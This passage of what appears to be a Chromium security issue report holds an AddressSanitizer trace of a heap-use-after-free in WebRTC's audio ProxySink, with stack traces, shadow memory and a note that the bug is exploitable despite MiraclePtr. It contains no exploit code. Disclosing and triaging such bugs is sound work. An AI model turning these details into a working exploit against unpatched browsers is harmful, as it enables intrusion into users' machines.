    #13 0x7f4ac4279832 in base::Thread::Run(base::RunLoop*) base/threading/thread.cc:361:13
    #14 0x7f4ac4279e02 in base::Thread::ThreadMain() base/threading/thread.cc:436:3
    #15 0x7f4ac42dde8c in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:102:13
    #16 0x556bcf638316 in asan_thread_start(void*) asan_interceptors.cpp

previously allocated by thread T10 (WebRTC_W_and_N) here:
    #0 0x556bcf6741cd in operator new(unsigned long) (/home/test/chromium/src/out/asan-release/chrome+0x68251cd) (BuildId: 02e60c0f598a1e35)
    #1 0x7f4aaa6933fd in webrtc::RemoteAudioSource::Start(webrtc::VoiceMediaReceiveChannelInterface*, std::__Cr::optional<unsigned int>) gen/third_party/libc++/src/include/__memory/unique_ptr.h:756:26
    #2 0x7f4aaa68a8b8 in webrtc::AudioRtpReceiver::GetRestartFunctionForMediaChannel_w(std::__Cr::optional<unsigned int>, bool, webrtc::MediaSourceInterface::SourceState) third_party/webrtc/pc/audio_rtp_receiver.cc:237:12
    #3 0x7f4aaa80c0e5 in void webrtc::FunctionView<void ()>::CallVoidPtr<webrtc::(anonymous namespace)::ScopedOperationsBatcher::Run()::'lambda'()>(webrtc::FunctionView<void ()>::VoidUnion) third_party/abseil-cpp/absl/functional/internal/any_invocable.h:774:1
    #4 0x7f4a5ba458e4 in webrtc::ThreadWrapper::ProcessPendingSends() third_party/webrtc/api/function_view.h:96:12
    #5 0x7f4a5ba48284 in base::internal::Invoker<...>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:740:12
    #6 0x7f4ac4160c82 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
    #7 0x7f4ac41e216e in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) base/task/common/task_annotator.h:112:5
    #8 0x7f4ac41e1146 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:346:40
    #9 0x7f4ac40033f1 in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_default.cc:42:55
    #10 0x7f4ac41e37e8 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta) base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:650:12
    #11 0x7f4ac40cb002 in base::RunLoop::Run(base::Location const&) base/run_loop.cc:135:14
    #12 0x7f4ac4279832 in base::Thread::Run(base::RunLoop*) base/threading/thread.cc:361:13
    #13 0x7f4ac4279e02 in base::Thread::ThreadMain() base/threading/thread.cc:436:3
    #14 0x7f4ac42dde8c in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:102:13
    #15 0x556bcf638316 in asan_thread_start(void*) asan_interceptors.cpp

Thread T17 (AudioOutputDevi) created by T5 (Chrome_ChildIOT) here:
    #0 0x556bcf61e0d1 in pthread_create (/home/test/chromium/src/out/asan-release/chrome+0x67cf0d1) (BuildId: 02e60c0f598a1e35)
    #1 0x7f4ac42dd54c in base::(anonymous namespace)::CreateThread(unsigned long, bool, base::PlatformThreadBase::Delegate*, base::PlatformThreadHandle*, base::ThreadType, base::MessagePumpType) base/threading/platform_thread_posix.cc:153:13
    #2 0x7f4aadf02e51 in media::AudioDeviceThread::AudioDeviceThread(media::AudioDeviceThread::Callback*, base::ScopedGeneric<int, base::internal::ScopedFDCloseTraits>, char const*, base::ThreadType) media/audio/audio_device_thread.cc:66:9

Thread T10 (WebRTC_W_and_N) created by T0 (chrome) here:
    #0 0x556bcf61e0d1 in pthread_create (/home/test/chromium/src/out/asan-release/chrome+0x67cf0d1) (BuildId: 02e60c0f598a1e35)
    #1 0x7f4ac42dd54c in base::(anonymous namespace)::CreateThread(unsigned long, bool, base::PlatformThreadBase::Delegate*, base::PlatformThreadHandle*, base::ThreadType, base::MessagePumpType) base/threading/platform_thread_posix.cc:153:13
    #2 0x7f4ac42783b0 in base::Thread::StartWithOptions(base::Thread::Options) base/threading/thread.cc:228:26
    #3 0x7f4a5aca9671 in blink::PeerConnectionDependencyFactory::CreatePeerConnectionFactory() third_party/blink/renderer/modules/peerconnection/peer_connection_dependency_factory.cc:436:29

SUMMARY: AddressSanitizer: heap-use-after-free third_party/webrtc/media/engine/webrtc_voice_engine.cc:138:12 in webrtc::(anonymous namespace)::ProxySink::OnData(webrtc::AudioSinkInterface::Data const&)
Shadow bytes around the buggy address:
  0x7b6a44d42b80: f7 fa 00 fa f7 fa 00 fa f7 fa 00 fa f7 fa 00 fa
  0x7b6a44d42c00: f7 fa 00 fa f7 fa 00 fa f7 fa 00 fa f7 fa 00 fa
  0x7b6a44d42c80: f7 fa 00 fa f7 fa 00 fa f7 fa fd fa f7 fa fd fa
  0x7b6a44d42d00: f7 fa fd fa f7 fa 00 fa f7 fa fd fa f7 fa fd fa
  0x7b6a44d42d80: f7 fa 00 00 f7 fa 00 00 f7 fa fd fa f7 fa fd fa
=>0x7b6a44d42e00: f7 fa fd fd f7 fa[fd]fd f7 fa fd fa f7 fa fd fa
  0x7b6a44d42e80: f7 fa fd fa f7 fa fd fa f7 fa 00 00 f7 fa fd fd
  0x7b6a44d42f00: f7 fa fd fa f7 fa fd fd f7 fa fd fd f7 fa fd fa
  0x7b6a44d42f80: f7 fa fd fa f7 fa fd fa f7 fa fd fa f7 fa fd fa
  0x7b6a44d43000: f7 fa fd fd f7 fa 03 fa f7 fa fd fa f7 fa fd fa
  0x7b6a44d43080: f7 fa fd fa f7 fa fd fa f7 fa fd fa f7 fa fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb

==1804752==ADDITIONAL INFO

==1804752==Note: Please include this section with the ASan report.
Task trace:


MiraclePtr Status: NOT PROTECTED
No raw_ptr<T> access to this region was detected prior to this crash.
This crash is still exploitable with MiraclePtr.
Refer to https://chromium.googlesource.com/chromium/src/+/main/base/memory/raw_ptr.md for details.

==1804752==END OF ADDITIONAL INFO

Credit

c6eed09fc8b174b0f3eebedcceb1e792

View on issue tracker